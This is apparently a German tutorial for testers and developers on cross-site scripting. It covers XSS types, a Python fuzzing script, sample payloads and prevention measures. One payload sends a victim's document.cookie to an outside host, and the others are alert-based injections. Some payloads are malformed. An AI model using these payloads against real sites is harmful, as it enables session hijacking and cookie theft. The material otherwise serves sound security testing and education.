Statistiken, die ich gesehen habe, und meiner Erfahrung zufolge stellen XSS-Schwachstellen weiterhin eine weit verbreitete Bedrohung für Webanwendungen dar und bergen das Risiko von Datendiebstahl, Sitzungsentführung und Website-Problemen. Ich habe beschlossen, dass ich mehr Zeit damit verbringen könnte, diesen Schwachstellentyp zu erforschen und Ihnen zumindest dieses überblicksartige Grundwissen mitzuteilen, damit sich viele QA- und Entwicklungsexperten vielleicht einige Möglichkeiten vorstellen, ihre Apps auf dieses Problem zu testen. In diesem Artikel werden verschiedene Arten von XSS, Testmethoden und Automatisierungsansätze untersucht und einige Beispiele und Payloads für effektive Penetrationstests bereitgestellt.
Cross-Site-Scripting (XSS) ermöglicht es Angreifern, bösartige Skripte in Webseiten einzuschleusen, die von anderen Benutzern angezeigt werden, und dabei Schwachstellen bei der clientseitigen Codeausführung auszunutzen. Das Verständnis der verschiedenen Arten von XSS-Schwachstellen und die Verwendung geeigneter Teststrategien sind entscheidend für die Entwicklung sicherer Web-Apps, die vor solchen Angriffen geschützt sind.
XSS-Exploits treten auf, wenn nicht vertrauenswürdige Benutzereingaben unzureichend bereinigt und in einer Webanwendung ausgeführt werden, sodass Angreifer bösartige Skripte im Kontext der Browser anderer Benutzer einschleusen und ausführen können.
Tritt auf, wenn vom Benutzer bereitgestellte Daten ohne ordnungsgemäße Validierung in der Antwort zurückgegeben werden.
Beispiel: <script>alert('XSS_DEMO')</script>
wird über einen URL-Parameter eingefügt.
Diese Exploits treten auf, wenn eine Webanwendung nicht validierte Benutzereingaben ohne ordnungsgemäße Bereinigung an den Browser des Benutzers weiterleitet. Bei diesem Angriff erstellt der Angreifer eine schädliche URL mit Skriptcode, der beim Anklicken durch das Opfer im Kontext der anfälligen Webseite ausgeführt wird. Das bösartige Skript wird nicht auf dem Server gespeichert, sondern direkt aus der Eingabe des Benutzers abgeleitet. Reflektierte XSS-Schwachstellen werden häufig für Phishing-Angriffe oder zur Manipulation des Surferlebnisses des Benutzers ausgenutzt. Die Auswirkungen können schwerwiegend sein und vom Cookie-Diebstahl bis zum Session-Hijacking reichen.
Schädliche Skripte werden dauerhaft auf dem Server gespeichert und ausgeführt, wenn andere Benutzer darauf zugreifen.
Beispiel: Schädliches Skript, das in einem Kommentar/Beitrag in einem Forumsbeitrag oder auf einer Profilseite in einem sozialen Netzwerk gespeichert ist.
Auch als persistentes XSS bekannt, entsteht, wenn ein Angreifer bösartigen Skriptcode in eine Webanwendung einschleust, der dann auf der Serverseite gespeichert wird. Dieses injizierte Skript wird später abgerufen und ausgeführt, wenn andere Benutzer auf die anfällige Seite zugreifen. Gespeicherte XSS-Angriffe sind besonders gefährlich, da das eingeschleuste Skript über einen längeren Zeitraum bestehen bleibt, möglicherweise mehrere Benutzer betrifft und zu weit verbreiteten Ausnutzungen führt. Angreifer zielen häufig auf benutzergenerierte Inhalte wie Kommentare, Forenbeiträge, Namen von Entitäten ab, die auf Webseiten oder Profilfeldern angezeigt werden, um ihre bösartigen Nutzlasten auszuführen. Die Folgen gespeicherter XSS können Datendiebstahl, Kontoübernahme und Website-Verunstaltung sein, was erhebliche Risiken sowohl für Benutzer als auch für die betroffene Organisation darstellt.
Die Skriptausführung basiert auf der Manipulation des DOM auf der Clientseite.
Beispiel: JS-Code ruft benutzergesteuerte Daten aus dem URL-Hash ab und führt sie aus.
Es tritt auf, wenn eine Webanwendung das DOM basierend auf nicht vertrauenswürdigen Benutzereingaben auf unsichere Weise dynamisch manipuliert. Im Gegensatz zu herkömmlichen XSS-Angriffen, die eine serverseitige Verarbeitung beinhalten, manifestiert sich DOM-basiertes XSS vollständig auf der Clientseite. Angreifer nutzen DOM-basiertes XSS aus, indem sie clientseitige Skripte manipulieren, um beliebigen Code im Browser des Opfers auszuführen. Diese Art von XSS ist oft schwieriger zu erkennen und zu beheben, da die Schwachstelle im clientseitigen Code liegt und bei serverseitigen Tests möglicherweise nicht offensichtlich ist. DOM-basierte XSS-Angriffe können verschiedene Folgen haben, darunter Session-Hijacking, Datenexfiltration und unbefugte Aktionen im Namen des Benutzers, was die Bedeutung clientseitiger Sicherheitsmaßnahmen und wachsamer Web-App-Entwicklungspraktiken unterstreicht.
Es handelt sich um einen Social-Engineering-Angriff, bei dem ein Angreifer einen Benutzer dazu verleitet, Schadcode in seinem Browser auszuführen. Im Gegensatz zu herkömmlichen XSS-Angriffen, die auf mehrere Benutzer abzielen, nutzt Self-XSS das Vertrauen des Benutzers aus, um Code innerhalb seiner Sitzung auszuführen. Typischerweise locken Angreifer ihre Opfer dazu, scheinbar harmlos aussehenden JS-Code in die Entwicklerkonsole ihres Browsers oder in einige Felder einer Website einzufügen, und zwar unter dem Deckmantel einer harmlosen Aktion, etwa dem Freischalten einer Funktion oder dem Verdienen von Belohnungen. Nach der Ausführung kann der eingeschleuste Code möglicherweise das Konto des Opfers gefährden, vertrauliche Informationen stehlen oder in seinem Namen unbefugte Aktionen ausführen. Obwohl Self-XSS auf die Sitzung des Opfers beschränkt ist, bleibt es eine Bedrohung, was die Bedeutung der Aufklärung und Sensibilisierung der Benutzer betont, um solche betrügerischen Taktiken zu erkennen und zu vermeiden.
Sie können einige Skripte schreiben; Ich bevorzuge Python, zum Beispiel:
import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name")
Analysieren Sie die Antworten, um festzustellen, ob Nutzlasten reflektiert oder ausgeführt werden. Erstellen Sie einen PoC, verstehen Sie die potenziellen Auswirkungen und priorisieren Sie die Fehlerbehebung.
Schritte:
Geben Sie ein Skript-Tag, gefolgt von etwas JS-Code, in die Eingabefelder Ihrer App ein.
Zum Beispiel grundlegende XSS-Nutzlasten:
<script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.
Senden Sie die Eingabe und prüfen Sie, ob das Skript ausgeführt wird.
Wenn dies der Fall ist, ist die Anwendung anfällig für XSS-Angriffe.
Wenn das Skript nicht ausgeführt wird, versuchen Sie, die Eingabe zu ändern, indem Sie andere HTML-Tags wie <img>
oder <iframe>
hinzufügen , und prüfen Sie, ob sie beispielsweise auf der Seite angezeigt werden (dieses funktioniert bei mir fast immer):
<b>t</b>#`"/*—est
Sie können ein Skript hinzufügen, um Parameter Ihrer Web-App-URL oder einen Benutzernamen, hochgeladene Dateinamen oder einen beliebigen Text abzufragen, der auf der App-Seite angezeigt wird und den Sie ändern können.
Beachten Sie die Front-End-Validierung von Eingaben. Versuchen Sie immer, den Wert über eine direkte Anfrage zu übermitteln (mit Postman, Burp oder ähnlichen Tools).
Überprüfen Sie die Browserkonsole in den Entwicklungstools, da Sie manchmal möglicherweise keine sichtbaren Änderungen auf der Seite sehen, aber einige Symbole, z. B. `"/*—
können das JS/HTML der Seite beschädigen, und in der Konsole wird eine Warnung angezeigt, die dies könnte ein Hinweis für Sie sein, wie Sie Ihre Nutzlast ändern können, um einen XSS-PoC zu erhalten
Verwenden Sie Fuzzing und eine Liste von Nutzlasten – automatisieren Sie diesen Ansatz nach Möglichkeit oder verwenden Sie spezielle Tools dafür.
Persönlich verwende ich gerne Payloads und Informationen von hier , meiner Meinung nach ist es eine sehr nützliche Ressource.
XSS-PoC
print()
Funktion für Chrome-Browser nach Version 92.Erweiterte XSS-Ausnutzung
Umgehen von XSS-Filtern
Kodieren Sie Daten basierend auf dem Kontext, in dem die Ausgabedaten gerendert werden. Wenden Sie verschiedene Kodierungsmethoden für HTML, JS, CSS und andere Kontexte an, um einen umfassenden Schutz vor XSS zu gewährleisten.
Verwenden Sie beispielsweise die HTML-Entitätskodierung für HTML-Inhalte, JavaScript-Escape für Inline-Skriptkontexte und CSS-Escape für Stilattribute, um die Skriptinjektion zu verhindern und die Datenintegrität über verschiedene Ausgabekontexte hinweg aufrechtzuerhalten.
Implementieren Sie Whitelists und Blacklists für Eingaben, um Benutzereingaben basierend auf vordefinierten Zulassungs- und Sperrlisten für zulässige und verbotene Zeichen, Muster oder Inhaltstypen zu filtern und zu validieren.
XSS stellt eine dauerhafte Bedrohung für Webanwendungen dar und birgt das Risiko von Datenschutzverletzungen und dem Vertrauen der Benutzer. Das Verständnis der XSS-Typen und Testmethoden ist für eine wirksame Schadensbegrenzung von entscheidender Bedeutung. Präventionstechniken wie Eingabevalidierung, Ausgabekodierung und CSP-Implementierung verbessern die App-Sicherheit. Durch die Priorisierung von Sicherheitspraktiken und Zusammenarbeit können Teams ihre Apps vor XSS schützen und eine angemessene Web-App-Sicherheit gewährleisten.
Wenn Sie Anfänger sind und sich für Cybersicherheit und Penetrationstests interessieren oder Ihre App einfach verbessern möchten, um sie sicherer zu machen, können Sie meine Artikel zu diesen Themen lesen:
Weitere Informationen zu XSS und Payloads finden Sie in den folgenden Ressourcen:
Führen Sie Penetrationstests immer mit ausdrücklicher Genehmigung und in einer kontrollierten Umgebung durch. Dieser ethische Ansatz stellt sicher, dass Sicherheitsbewertungen mit verantwortungsvollen Testprotokollen übereinstimmen, unbeabsichtigte Gefährdungen von Systemen verhindern und die Integrität sowohl des Testprozesses als auch der übergreifenden Cybersicherheitsstrategie wahren.